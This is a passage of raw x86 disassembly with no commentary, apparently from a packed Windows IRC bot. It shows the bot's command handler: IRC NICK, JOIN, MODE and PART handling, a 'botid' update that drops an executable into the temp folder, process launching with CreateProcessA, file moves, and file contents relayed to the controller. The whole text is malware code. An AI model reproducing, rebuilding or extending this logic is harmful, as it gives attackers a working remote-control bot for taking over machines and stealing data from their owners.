esp, 50h lea eax, [ebp+Dst] push ebx ; int push 0Ah ; int push eax ; Source call sub_416D48 add esp, 0Ch mov [ebp+var_7EC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_7F0] push ebx push eax push offset sub_401000 push ebx push ebx call ds:dword_42309C mov ecx, [ebp+var_7EC] imul ecx, 234h cmp eax, ebx mov ds:dword_442084[ecx], eax jz short loc_4128B0 loc_41289A: ; CODE XREF: sub_40EE51+3A5Dj cmp [ebp+var_560], ebx jnz loc_411D1C push 32h call ds:dword_423060 ; Sleep jmp short loc_41289A ; --------------------------------------------------------------------------- loc_4128B0: ; CODE XREF: sub_40EE51+3A47j call ds:dword_423088 ; RtlGetLastWin32Error push eax push offset unk_435C08 ; Format loc_4128BC: ; CODE XREF: sub_40EE51+2EADj ; sub_40EE51+3006j ... lea eax, [ebp+Dst] push eax ; Dest call _sprintf jmp loc_411D19 ; --------------------------------------------------------------------------- loc_4128CD: ; CODE XREF: sub_40EE51+266Bj ; sub_40EE51+2682j push 7Fh ; Count lea eax, [ebp+var_458] push edi ; Source push eax ; Dest call _strncpy push [ebp+Str1] ; Str call _atoi push 3Fh ; Count mov [ebp+var_308], eax push [ebp+Src] ; Source lea eax, [ebp+var_3D8] push eax ; Dest call _strncpy mov esi, dword ptr [ebp+esi+Args] add esp, 1Ch cmp esi, ebx jz short loc_41291B push 3Fh ; Count lea eax, [ebp+var_398] push esi ; Source push eax ; Dest call _strncpy add esp, 0Ch loc_41291B: ; CODE XREF: sub_40EE51+3AB6j lea eax, [ebp+var_3D8] mov [ebp+var_304], 1 push eax lea eax, [ebp+var_458] push [ebp+var_308] push eax lea eax, [ebp+Dst] push offset unk_435BC8 ; Format push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 18h ; int push eax ; Source call sub_416D48 add esp, 20h mov [ebp+var_300], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_45C] push ebx push eax push offset sub_40EB71 push ebx push ebx call ds:dword_42309C mov ecx, [ebp+var_300] imul ecx, 234h cmp eax, ebx mov ds:dword_442084[ecx], eax jz short loc_4129A7 loc_412991: ; CODE XREF: sub_40EE51+3B54j cmp [ebp+var_2FC], ebx jnz loc_413A2F push 32h call ds:dword_423060 ; Sleep jmp short loc_412991 ; --------------------------------------------------------------------------- loc_4129A7: ; CODE XREF: sub_40EE51+3B3Ej call ds:dword_423088 ; RtlGetLastWin32Error push eax push offset unk_435B80 jmp loc_411891 ; --------------------------------------------------------------------------- loc_4129B8: ; CODE XREF: sub_40EE51+262Bj ; sub_40EE51+2642j push [ebp+Str1] ; Str call _atoi cmp eax, ebx pop ecx mov [ebp+var_570], eax jle loc_412AA9 mov esi, 80h push edi ; Format lea eax, [ebp+var_6F8] push esi ; Count push eax ; Dest call __snprintf xor eax, eax cmp [ebp+var_9B6], bl push [ebp+Format] ; Format setnz al mov [ebp+var_56C], eax mov eax, [ebp+arg_4] mov [ebp+var_6FC], eax lea eax, [ebp+var_5F8] push esi ; Count push eax ; Dest call __snprintf mov eax, [ebp+var_4] push [ebp+Str1] mov [ebp+var_568], eax mov eax, [ebp+var_8] mov [ebp+var_564], eax push edi push offset unk_435B44 ; Format lea eax, [ebp+Dst] push 200h ; Count push eax ; Dest call __snprintf push ebx ; int lea eax, [ebp+Dst] push 0Dh ; int push eax ; Source call sub_416D48 add esp, 38h mov [ebp+var_578], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_6FC] push ebx push eax push offset sub_401447 push ebx push ebx call ds:dword_42309C mov ecx, [ebp+var_578] imul ecx, 234h cmp eax, ebx mov ds:dword_442084[ecx], eax jz short loc_412A98 loc_412A82: ; CODE XREF: sub_40EE51+3C45j cmp [ebp+var_560], ebx jnz loc_4145C3 push 32h call ds:dword_423060 ; Sleep jmp short loc_412A82 ; --------------------------------------------------------------------------- loc_412A98: ; CODE XREF: sub_40EE51+3C2Fj call ds:dword_423088 ; RtlGetLastWin32Error push eax push offset unk_435AFC jmp loc_413BD1 ; --------------------------------------------------------------------------- loc_412AA9: ; CODE XREF: sub_40EE51+3B78j push offset unk_435AB4 jmp loc_4145B5 ; --------------------------------------------------------------------------- loc_412AB3: ; CODE XREF: sub_40EE51+25FDj ; sub_40EE51+2614j push [ebp+Str1] push edi call ds:dword_42316C ; MoveFileA test eax, eax jz short loc_412AE0 push [ebp+Str1] lea eax, [ebp+Dst] push edi push offset unk_435A80 ; Format push 200h ; Count push eax ; Dest call __snprintf jmp loc_4132F5 ; --------------------------------------------------------------------------- loc_412AE0: ; CODE XREF: sub_40EE51+3C6Ej push offset dword_435A64 call sub_40AA30 push eax ; Format lea eax, [ebp+Dst] push 200h ; Count push eax ; Dest call __snprintf add esp, 10h jmp loc_4145C3 ; --------------------------------------------------------------------------- loc_412B04: ; CODE XREF: sub_40EE51+25CFj ; sub_40EE51+25E6j push edi ; Format lea eax, [ebp+var_774] push 104h ; Count push eax ; Dest call __snprintf add esp, 0Ch cmp [ebp+var_C], ebx jz short loc_412B3E push [ebp+Str1] ; SubStr push [ebp+var_C] ; Str call _strstr pop ecx cmp eax, ebx pop ecx jz short loc_412B3E push eax ; Format lea eax, [ebp+var_670] push eax ; Dest call _sprintf pop ecx pop ecx loc_412B3E: ; CODE XREF: sub_40EE51+3CCBj ; sub_40EE51+3CDCj push [ebp+Format] ; Format lea eax, [ebp+var_7F4] push 80h ; Count push eax ; Dest call __snprintf mov eax, [ebp+arg_4] mov [ebp+var_7F8], eax mov eax, [ebp+var_4] mov [ebp+var_568], eax mov eax, [ebp+var_8] mov [ebp+var_564], eax lea eax, [ebp+var_670] push eax lea eax, [ebp+var_774] push eax push offset unk_435A24 ; Format lea eax, [ebp+Dst] push 200h ; Count push eax ; Dest call __snprintf push ebx ; int lea eax, [ebp+Dst] push 1Ch ; int push eax ; Source call sub_416D48 add esp, 2Ch mov [ebp+var_56C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_7F8] push ebx push eax push offset sub_408DC8 push ebx push ebx call ds:dword_42309C mov ecx, [ebp+var_56C] imul ecx, 234h cmp eax, ebx mov ds:dword_442084[ecx], eax jz short loc_412BF1 loc_412BDB: ; CODE XREF: sub_40EE51+3D9Ej cmp [ebp+var_560], ebx jnz loc_414DFC push 32h call ds:dword_423060 ; Sleep jmp short loc_412BDB ; --------------------------------------------------------------------------- loc_412BF1: ; CODE XREF: sub_40EE51+3D88j call ds:dword_423088 ; RtlGetLastWin32Error push eax push offset unk_4359D8 jmp loc_414DED ; --------------------------------------------------------------------------- loc_412C02: ; CODE XREF: sub_40EE51+25A1j ; sub_40EE51+25B8j push 44h lea eax, [ebp+var_4A0] pop esi push esi ; Size push ebx ; Val push eax ; Dst call _memset push 1 mov [ebp+var_4A0], esi pop esi mov word ptr [ebp+var_470], bx push edi ; Str mov [ebp+var_474], esi call _atoi add esp, 10h cmp eax, esi jnz short loc_412C3F mov word ptr [ebp+var_470], 5 loc_412C3F: ; CODE XREF: sub_40EE51+3DE3j cmp [ebp+var_C], ebx jz loc_413A2F push [ebp+Str1] ; SubStr push [ebp+var_C] ; Str call _strstr mov edi, eax pop ecx cmp edi, ebx pop ecx jz loc_413A2F lea eax, [ebp+var_2EC] push eax lea eax, [ebp+var_4A0] push eax push ebx push ebx push 28h push esi push ebx push ebx push edi push ebx call ds:dword_423120 ; CreateProcessA test eax, eax jnz short loc_412C8A push offset unk_4359A4 jmp loc_413A21 ; --------------------------------------------------------------------------- loc_412C8A: ; CODE XREF: sub_40EE51+3E2Dj push edi push offset dword_43597C jmp loc_411891 ; --------------------------------------------------------------------------- loc_412C95: ; CODE XREF: sub_40EE51+2573j ; sub_40EE51+258Aj push [ebp+Str1] ; Str2 push offset aBotid ; "botid" call _strcmp pop ecx test eax, eax pop ecx jz loc_412E09 lea eax, [ebp+FullPath] push eax push 104h call ds:dword_42312C ; GetTempPathA push 0FFh ; Count lea eax, [ebp+var_780] push edi ; Source push eax ; Dest call _strncpy lea eax, [ebp+var_2F8] push eax call sub_4159E3 push eax lea eax, [ebp+FullPath] push eax lea eax, [ebp+var_680] push offset aSS_exe ; "%s%s.exe" push eax ; Dest call _sprintf mov eax, [ebp+esi+var_88] add esp, 20h cmp eax, ebx mov [ebp+var_57C], 1 mov [ebp+var_578], ebx jz short loc_412D27 push 10h ; Radix push ebx ; EndPtr push eax ; Str call _strtoul add esp, 0Ch mov [ebp+var_570], eax jmp short loc_412D2D ; --------------------------------------------------------------------------- loc_412D27: ; CODE XREF: sub_40EE51+3EC0j mov [ebp+var_570], ebx loc_412D2D: ; CODE XREF: sub_40EE51+3ED4j mov esi, dword ptr [ebp+esi+Args] cmp esi, ebx jz short loc_412D47 push esi ; Str call _atoi pop ecx mov [ebp+var_574], eax jmp short loc_412D4D ; --------------------------------------------------------------------------- loc_412D47: ; CODE XREF: sub_40EE51+3EE5j mov [ebp+var_574], ebx loc_412D4D: ; CODE XREF: sub_40EE51+3EF4j movzx eax, [ebp+var_9C3] mov esi, [ebp+arg_4] push 7Fh ; Count push [ebp+Format] ; Source mov [ebp+var_56C], eax lea eax, [ebp+var_800] mov [ebp+var_804], esi push eax ; Dest call _strncpy mov eax, [ebp+var_4] push edi mov [ebp+var_564], eax mov eax, [ebp+var_8] mov [ebp+var_568], eax lea eax, [ebp+Dst] push offset unk_435934 ; Format push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dst] push 17h ; int push eax ; Source call sub_416D48 add esp, 24h mov [ebp+var_580], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_804] push ebx push eax push offset sub_40CAF1 push ebx push ebx call ds:dword_42309C mov ecx, [ebp+var_580] imul ecx, 234h cmp eax, ebx mov ds:dword_442084[ecx], eax jz short loc_412DF8 loc_412DE2: ; CODE XREF: sub_40EE51+3FA5j cmp [ebp+var_560], ebx jnz loc_413A2F push 32h call ds:dword_423060 ; Sleep jmp short loc_412DE2 ; --------------------------------------------------------------------------- loc_412DF8: ; CODE XREF: sub_40EE51+3F8Fj call ds:dword_423088 ; RtlGetLastWin32Error push eax push offset unk_4358E8 jmp loc_411891 ; --------------------------------------------------------------------------- loc_412E09: ; CODE XREF: sub_40EE51+3E55j push offset unk_435894 jmp loc_413A21 ; --------------------------------------------------------------------------- loc_412E13: ; CODE XREF: sub_40EE51+2545j ; sub_40EE51+255Cj push [ebp+var_90] ; Str2 push offset a332 ; "332" call _strcmp pop ecx test eax, eax pop ecx jz loc_40F215 cmp [ebp+var_C], ebx jz loc_40F215 push [ebp+Str1] ; SubStr push [ebp+var_C] ; Str call _strstr push eax lea eax, [ebp+Dst] push [ebp+Format] push [ebp+var_90] push [ebp+Str2] push offset aSSSS ; "%s %s %s :%s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push 1FFh ; Count push eax ; Source push [ebp+Src] ; Dest call _strncpy push edi ; Str call _atoi add esp, 30h test eax, eax jle short loc_412E9A push edi ; Str call _atoi imul eax, 3E8h pop ecx push eax call ds:dword_423060 ; Sleep loc_412E9A: ; CODE XREF: sub_40EE51+4033j push offset dword_435860 call sub_40BF6F mov eax, [ebp+File] pop ecx inc eax jmp loc_40F218 ; --------------------------------------------------------------------------- loc_412EAE: ; CODE XREF: sub_40EE51+2517j ; sub_40EE51+252Ej push [ebp+var_90] ; Str2 push offset a332 ; "332" call _strcmp pop ecx test eax, eax pop ecx jz loc_40F215 cmp [ebp+var_C], ebx jz loc_414F3C push [ebp+Str1] ; SubStr push [ebp+var_C] ; Str call _strstr mov esi, eax mov eax, [ebp+Str1] inc eax push offset aRepeat ; "repeat" push eax ; Str1 call _strcmp add esp, 10h test eax, eax push esi jz short loc_412F6A push [ebp+Format] lea eax, [ebp+Dst] push [ebp+var_90] push [ebp+Str2] push offset aSSSS ; "%s %s %s :%s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push 1FFh ; Count push eax ; Source push [ebp+Src] ; Dest call _strncpy push esi lea eax, [ebp+Dst] push offset dword_435830 ; Format push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax call sub_40BF6F push edi ; Str loc_412F4B: ; DATA XREF: UPX0:off_42CE40o call _atoi add esp, 38h test eax, eax jle loc_414F3C push edi ; Str call _atoi add eax, [ebp+File] pop ecx jmp loc_40F218 ; --------------------------------------------------------------------------- loc_412F6A: ; CODE XREF: sub_40EE51+40A2j push offset dword_4357EC jmp loc_411891 ; --------------------------------------------------------------------------- loc_412F74: ; CODE XREF: sub_40EE51+24E9j ; sub_40EE51+2500j push [ebp+Str1] lea eax, [ebp+Dst] push offset aPartS ; "PART %s" push eax ; Dest call _sprintf push edi ; Str call _atoi add esp, 10h loc_412F91: ; CODE XREF: sub_40EE51+41AAj test eax, eax jle loc_414F3C push edi ; Str call _atoi cmp eax, 1F4h pop ecx jge loc_414F3C loc_412FAB: ; CODE XREF: sub_40EE51+4CB2j lea eax, [ebp+Dst] push eax ; Args push offset aS_6 ; "%s\r\n" push edi ; Str call _atoi imul eax, 234h pop ecx push ds:dword_44207C[eax] ; int call sub_40D62A loc_412FCF: ; CODE XREF: sub_40EE51+5D50j add esp, 0Ch jmp loc_414F3C ; --------------------------------------------------------------------------- loc_412FD7: ; CODE XREF: sub_40EE51+24BBj ; sub_40EE51+24D2j push [ebp+esi+var_88] lea eax, [ebp+Dst] push [ebp+Str1] push offset aJoinSS ; "JOIN %s %s" push eax ; Dest call _sprintf push edi ; Str call _atoi add esp, 14h jmp short loc_412F91 ; --------------------------------------------------------------------------- loc_412FFD: ; CODE XREF: sub_40EE51+248Dj ; sub_40EE51+24A4j push [ebp+Str1] lea eax, [ebp+Dst] push offset aNickS_0 ; "NICK %s" push eax ; Dest call _sprintf push edi ; Str call _atoi add esp, 10h test eax, eax jle loc_414F3C push edi ; Str call _atoi cmp eax, 1F4h pop ecx jge loc_414F3C lea eax, [ebp+Dst] push eax ; Args push offset aS_6 ; "%s\r\n" push edi ; Str call _atoi imul eax, 234h pop ecx push ds:dword_44207C[eax] ; int call sub_40D62A push [ebp+Str1] push edi ; Args push offset dword_4357A4 ; Format loc_413061: ; CODE XREF: sub_40EE51+429Aj ; sub_40EE51+4305j ... call sub_40BFE3 loc_413066: ; CODE XREF: sub_40EE51+5A20j add esp, 18h jmp loc_414F3C ; --------------------------------------------------------------------------- loc_41306E: ; CODE XREF: sub_40EE51+245Fj ; sub_40EE51+2476j cmp [ebp+var_C], ebx jz loc_414F3C push [ebp+Str1] ; SubStr push [ebp+var_C] ; Str call _strstr mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_41309F push esi lea eax, [ebp+Dst] push offset aModeS ; "MODE %s" push eax ; Dest call _sprintf add esp, 0Ch loc_41309F: ; CODE XREF: sub_40EE51+4237j push edi ; Str call _atoi test eax, eax pop ecx jle loc_414F3C push edi ; Str call _atoi cmp eax, 1F4h pop ecx jge loc_414F3C lea eax, [ebp+Dst] push eax ; Args push offset aS_6 ; "%s\r\n" push edi ; Str call _atoi imul eax, 234h pop ecx push ds:dword_44207C[eax] ; int call sub_40D62A push esi push edi push offset dword_435770 jmp loc_413061 ; --------------------------------------------------------------------------- loc_4130F0: ; CODE XREF: sub_40EE51+2431j ; sub_40EE51+2448j cmp [ebp+var_C], ebx jz loc_414F3C push [ebp+Str1] ; SubStr push [ebp+var_C] ; Str call _strstr mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_414F3C push edi ; Str call _atoi test eax, eax pop ecx jle loc_414F3C push edi ; Str call _atoi cmp eax, 1F4h pop ecx jge loc_414F3C push esi ; Args push offset aS_6 ; "%s\r\n" push edi ; Str call _atoi imul eax, 234h pop ecx push ds:dword_44207C[eax] ; int call sub_40D62A push esi push edi push offset dword_435744 jmp loc_413061 ; --------------------------------------------------------------------------- loc_41315B: ; CODE XREF: sub_40EE51+2403j ; sub_40EE51+241Aj cmp [ebp+var_C], ebx jz loc_414F3C push edi ; SubStr push [ebp+var_C] ; Str call _strstr mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_414F3C push esi ; Args push offset aModeS_0 ; "MODE %s\r\n" push [ebp+arg_4] ; int call sub_40D62A push esi ; Args push offset dword_43570C ; Format loc_41318D: ; CODE XREF: sub_40EE51+4E64j ; sub_40EE51+4E7Dj ... call sub_40BFE3 loc_413192: ; CODE XREF: sub_40EE51+43AAj add esp, 14h jmp loc_414F3C ; --------------------------------------------------------------------------- loc_41319A: ; CODE XREF: sub_40EE51+23D5j ; sub_40EE51+23ECj push [ebp+var_90] ; Str2 push offset a332 ; "332" call _strcmp pop ecx test eax, eax pop ecx jz loc_40F215 push [ebp+Str1] ; Args push offset dword_435700 ; Format push [ebp+arg_4] ; int call sub_40D62A push edi ; Str call _atoi imul eax, 3E8h add esp, 10h push eax call ds:dword_423060 ; Sleep push [ebp+esi+var_88] push [ebp+Str1] ; Args push offset aJoinSS_0 ; "JOIN %s %s\r\n" push [ebp+arg_4] ; int call sub_40D62A push offset dword_4356DC call sub_40BF6F jmp short loc_413192 ; --------------------------------------------------------------------------- loc_4131FD: ; CODE XREF: sub_40EE51+23A7j ; sub_40EE51+23BEj cmp [ebp+var_C], ebx jz loc_414F3C push edi ; Str call _strlen push [ebp+arg_8] ; Str mov esi, eax call _strlen add eax, [ebp+var_C] push [ebp+Str1] ; SubStr lea eax, [eax+esi+2] push eax ; Str call _strstr mov esi, eax add esp, 10h cmp esi, ebx jz loc_414F3C push esi lea eax, [ebp+Dst] push offset dword_435EF8 ; Format push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push ebx ; int push eax ; int push edi ; Str push [ebp+arg_4] ; int call sub_40D670 push esi push edi ; Args push offset dword_4356B0 ; Format call sub_40BFE3 add esp, 2Ch jmp loc_414F3C ; --------------------------------------------------------------------------- loc_41326B: ; CODE XREF: sub_40EE51+2379j ; sub_40EE51+2390j cmp [ebp+var_C], ebx jz loc_414F3C push edi ; Str call _strlen push [ebp+arg_8] ; Str mov esi, eax call _strlen add eax, [ebp+var_C] push [ebp+Str1] ; SubStr lea eax, [eax+esi+2] push eax ; Str call _strstr mov esi, eax add esp, 10h cmp esi, ebx jz loc_414F3C push ebx ; int push ebx ; int push esi ; int push edi ; Str push [ebp+arg_4] ; int call sub_40D670 push esi push edi ; Args push offset dword_435684 ; Format call sub_40BFE3 jmp loc_411EA7 ; --------------------------------------------------------------------------- loc_4132BE: ; CODE XREF: sub_40EE51+234Bj ; sub_40EE51+2362j cmp [ebp+var_C], ebx jz loc_40F215 push [ebp+Str1] ; SubStr push [ebp+var_C] ; Str call _strstr pop ecx cmp eax, ebx pop ecx jz loc_40F215 push eax ; int push edi ; Source call sub_40BE77 push edi lea eax, [ebp+Dst] push offset dword_435658 ; Format push eax ; Dest call _sprintf loc_4132F5: ; CODE XREF: sub_40EE51+3C8Aj add esp, 14h jmp loc_4145C3 ; --------------------------------------------------------------------------- loc_4132FD: ; CODE XREF: sub_40EE51+230Bj ; sub_40EE51+2322j push edi ; SubStr push [ebp+arg_1C] ; Str call _strstr pop ecx test eax, eax pop ecx jz loc_414F3C mov esi, [ebp+esi+Format] cmp esi, ebx jz short loc_41339A push esi ; SubStr push [ebp+var_C] ; Str call _strstr mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_413382 push esi lea eax, [ebp+Dst] push [ebp+Format] push [ebp+var_90] push [ebp+Str2] push offset aSSSS ; "%s %s %s :%s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push 1FFh ; Count push eax ; Source push [ebp+Src] ; Dest call _strncpy push esi push edi lea eax, [ebp+Dst] push offset dword_435624 ; Format push eax ; Dest call _sprintf add esp, 34h inc [ebp+File] jmp loc_414A84 ; --------------------------------------------------------------------------- loc_413382: ; CODE XREF: sub_40EE51+44D9j lea eax, [ebp+Dst] push offset dword_4355E4 ; Format push eax ; Dest call _sprintf pop ecx pop ecx jmp loc_414A84 ; --------------------------------------------------------------------------- loc_41339A: ; CODE XREF: sub_40EE51+44C8j push ebx ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push [ebp+arg_4] ; int push [ebp+arg_1C] ; int push eax ; Dest call sub_40BB87 add esp, 0Ch push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_40D670 push edi push offset dword_4355BC ; Format lea eax, [ebp+Dst] push 200h ; Count push eax ; Dest call __snprintf add esp, 24h jmp loc_414A84 ; --------------------------------------------------------------------------- loc_4133E1: ; CODE XREF: sub_40EE51+22DDj ; sub_40EE51+22F4j push offset aScreen ; "screen" push edi ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_413444 cmp [ebp+esi+Format], ebx jz short loc_413431 push [ebp+esi+Format] call sub_4085A0 cmp eax, 1 pop ecx jnz short loc_41342A push [ebp+esi+Format] lea eax, [ebp+Dst] push offset dword_435578 ; Format push eax ; Dest call _sprintf add esp, 0Ch jmp short loc_413444 ; --------------------------------------------------------------------------- loc_41342A: ; CODE XREF: sub_40EE51+45BAj push offset dword_43553C jmp short loc_413436 ; --------------------------------------------------------------------------- loc_413431: ; CODE XREF: sub_40EE51+45A8j push offset dword_4354F4 ; Format loc_413436: ; CODE XREF: sub_40EE51+45DEj lea eax, [ebp+Dst] push eax ; Dest call _sprintf pop ecx pop ecx loc_413444: ; CODE XREF: sub_40EE51+459Fj ; sub_40EE51+45D7j push offset aDrivers ; "drivers" push edi ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz loc_4134DB mov [ebp+Src], ebx loc_41345C: ; CODE XREF: sub_40EE51+4675j lea eax, [ebp+var_75C] push 1FFh push eax lea eax, [ebp+var_3F8] push 0FFh push eax push [ebp+Src] call ds:dword_43C648 test eax, eax jz short loc_4134BF lea eax, [ebp+var_75C] push eax lea eax, [ebp+var_3F8] push eax lea eax, [ebp+var_15B0] push [ebp+Src] push offset dword_4354B8 ; Format push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+var_15B0] push [ebp+var_4] ; int push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_40D670 add esp, 28h loc_4134BF: ; CODE XREF: sub_40EE51+462Ej inc [ebp+Src] cmp [ebp+Src], 0Ah jl short loc_41345C lea eax, [ebp+Dst] push offset dword_435484 ; Format push eax ; Dest call _sprintf pop ecx pop ecx loc_4134DB: ; CODE XREF: sub_40EE51+4602j push offset aFrame ; "frame" push edi ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz loc_413581 cmp [ebp+esi+Format], ebx jz short loc_41356E cmp [ebp+esi+var_88], ebx jz short loc_41356E cmp dword ptr [ebp+esi+Args], ebx jz short loc_41356E mov eax, [ebp+esi+var_80] cmp eax, ebx jz short loc_41356E push eax ; Str call _atoi pop ecx push eax ; int push dword ptr [ebp+esi+Args] ; Str call _atoi pop ecx push eax ; int push [ebp+esi+var_88] ; Str call _atoi pop ecx push eax ; Size push [ebp+esi+Format] ; int call sub_4087DB add esp, 10h test eax, eax jnz short loc_413567 push [ebp+esi+Format] lea eax, [ebp+Dst] push offset dword_435440 ; Format push eax ; Dest call _sprintf add esp, 0Ch jmp short loc_413581 ; --------------------------------------------------------------------------- loc_413567: ; CODE XREF: sub_40EE51+46F7j push offset dword_4353FC jmp short loc_413573 ; --------------------------------------------------------------------------- loc_41356E: ; CODE XREF: sub_40EE51+46A6j ; sub_40EE51+46AFj ... push offset dword_4353B4 ; Format loc_413573: ; CODE XREF: sub_40EE51+471Bj lea eax, [ebp+Dst] push eax ; Dest call _sprintf pop ecx pop ecx loc_413581: ; CODE XREF: sub_40EE51+4699j ; sub_40EE51+4714j push offset aVideo ; "video" push edi ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz loc_413A2F mov eax, [ebp+esi+Format] cmp eax, ebx mov [ebp+Str1], eax jz short loc_41361A mov eax, [ebp+esi+var_88] cmp eax, ebx mov [ebp+Src], eax jz short loc_41361A mov eax, dword ptr [ebp+esi+Args] cmp eax, ebx mov [ebp+Source], eax jz short loc_41361A mov edi, [ebp+esi+var_80] cmp edi, ebx jz short loc_41361A mov esi, [ebp+esi+var_7C] cmp esi, ebx jz short loc_41361A push esi ; Str call _atoi pop ecx push eax ; int push edi ; Str call _atoi pop ecx push eax ; int push [ebp+Source] ; Str call _atoi pop ecx push eax ; int push [ebp+Src] ; Str call _atoi pop ecx push eax ; Size push [ebp+Str1] ; int call sub_4089D4 add esp, 14h test eax, eax jnz short loc_413610 push [ebp+Str1] push offset dword_435378 jmp loc_411891 ; --------------------------------------------------------------------------- loc_413610: ; CODE XREF: sub_40EE51+47B0j push offset dword_435328 jmp loc_413A21 ; --------------------------------------------------------------------------- loc_41361A: ; CODE XREF: sub_40EE51+4751j ; sub_40EE51+475Fj ... push offset dword_4352DC jmp loc_413A21 ; --------------------------------------------------------------------------- loc_413624: ; CODE XREF: sub_40EE51+1CE2j ; sub_40EE51+1CF9j push offset aR ; "r" push edi ; Filename call _fopen mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_41369E mov ebx, 200h push esi ; File lea eax, [ebp+Dst] push ebx ; MaxCount push eax ; Buf call _fgets add esp, 0Ch loc_41364D: ; CODE XREF: sub_40EE51+482Bj test eax, eax jz short loc_41367E push 1 ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_40D670 push esi ; File lea eax, [ebp+Dst] push ebx ; MaxCount push eax ; Buf call _fgets add esp, 20h jmp short loc_41364D ; --------------------------------------------------------------------------- loc_41367E: ; CODE XREF: sub_40EE51+47FEj push esi ; File call _fclose push edi lea eax, [ebp+Dst] push offset dword_4352A8 ; Format push eax ; Dest call _sprintf add esp, 10h jmp loc_411106 ; --------------------------------------------------------------------------- loc_41369E: ; CODE XREF: sub_40EE51+47E4j push edi push offset dword_435278 jmp loc_414E17 ; --------------------------------------------------------------------------- loc_4136A9: ; CODE XREF: sub_40EE51+1CB4j ; sub_40EE51+1CCBj cmp [ebp+var_C], ebx jz loc_414F3C push edi ; SubStr push [ebp+var_C] ; Str call _strstr mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_414F3C push offset asc_429660 ; "\n" push esi ; Dest call _strcat push esi ; Str call sub_40B353 add esp, 0Ch test eax, eax jnz short loc_4136E9 push offset dword_43523C jmp loc_413A21 ; --------------------------------------------------------------------------- loc_4136E9: ; CODE XREF: sub_40EE51+488Cj push esi push offset dword_435214 jmp loc_414A75 ; --------------------------------------------------------------------------- loc_4136F4: ; CODE XREF: sub_40EE51+1C86j ; sub_40EE51+1C9Dj cmp [ebp+var_C], ebx jz loc_414F3C push edi ; SubStr push [ebp+var_C] ; Str call _strstr pop ecx cmp eax, ebx pop ecx jz loc_414F3C push eax ; Format call sub_40AAF5 test eax, eax pop ecx jnz short loc_413725 push offset unk_4351E8 jmp loc_413A21 ; --------------------------------------------------------------------------- loc_413725: ; CODE XREF: sub_40EE51+48C8j push offset dword_4351BC jmp loc_413A21 ; --------------------------------------------------------------------------- loc_41372F: ; CODE XREF: sub_40EE51+1C58j ; sub_40EE51+1C6Fj push 7Fh ; Count lea eax, [ebp+var_6EC] push edi ; Source push eax ; Dest call _strncpy mov esi, [ebp+esi+Format] add esp, 0Ch cmp esi, ebx jz short loc_41375E push 7Fh ; Count lea eax, [ebp+var_66C] push esi ; Source push eax ; Dest call _strncpy add esp, 0Ch loc_41375E: ; CODE XREF: sub_40EE51+48F9j push 7Fh ; Count lea eax, [ebp+var_5EC] push [ebp+Format] ; Source push eax ; Dest call _strncpy mov eax, [ebp+arg_4] push edi mov [ebp+var_6F0], eax mov eax, [ebp+var_8] mov [ebp+var_568], eax mov eax, [ebp+var_4] mov [ebp+var_564], eax lea eax, [ebp+Dst] push offset dword_435194 ; Format push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 15h ; int push eax ; Source call sub_416D48 add esp, 24h mov [ebp+var_56C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_6F0] push ebx push eax push offset sub_40BC4D push ebx push ebx call ds:dword_42309C mov ecx, [ebp+var_56C] imul ecx, 234h cmp eax, ebx mov ds:dword_442084[ecx], eax jz short loc_4137FC loc_4137E6: ; CODE XREF: sub_40EE51+49A9j cmp [ebp+var_560], ebx jnz loc_414A84 push 32h call ds:dword_423060 ; Sleep jmp short loc_4137E6 ; --------------------------------------------------------------------------- loc_4137FC: ; CODE XREF: sub_40EE51+4993j call ds:dword_423088 ; RtlGetLastWin32Error push eax push offset unk_435148 jmp loc_414A75 ; --------------------------------------------------------------------------- loc_41380D: ; CODE XREF: sub_40EE51+1C2Aj ; sub_40EE51+1C41j push ebx ; Source push [ebp+Format] ; int push [ebp+arg_4] ; int push edi ; Str call sub_40637D push edi push offset dword_435124 jmp loc_413061 ; --------------------------------------------------------------------------- loc_413828: ; CODE XREF: sub_40EE51+1BFCj ; sub_40EE51+1C13j push 14h ; Size lea eax, [ebp+var_708] push ebx ; Val push eax ; Dst call _memset push edi lea eax, [ebp+Dest] push offset aS_1 ; "%s" push eax ; Dest call _sprintf mov eax, [ebp+arg_4] mov [ebp+var_710], eax lea eax, [ebp+var_D8] push eax ; Format lea eax, [ebp+var_5F0] push 80h ; Count push eax ; Dest call __snprintf mov eax, [ebp+var_4] mov [ebp+var_568], eax mov eax, [ebp+var_8] mov [ebp+var_564], eax lea eax, [ebp+var_5F0] push eax lea eax, [ebp+Dest] push eax lea eax, [ebp+Dst] push offset dword_4350F0 ; Format push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 12h ; int push eax ; Source call sub_416D48 add esp, 40h mov [ebp+var_56C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_710] push ebx push eax push offset sub_40C514 push ebx push ebx call ds:dword_42309C mov ecx, [ebp+var_56C] imul ecx, 234h cmp eax, ebx mov 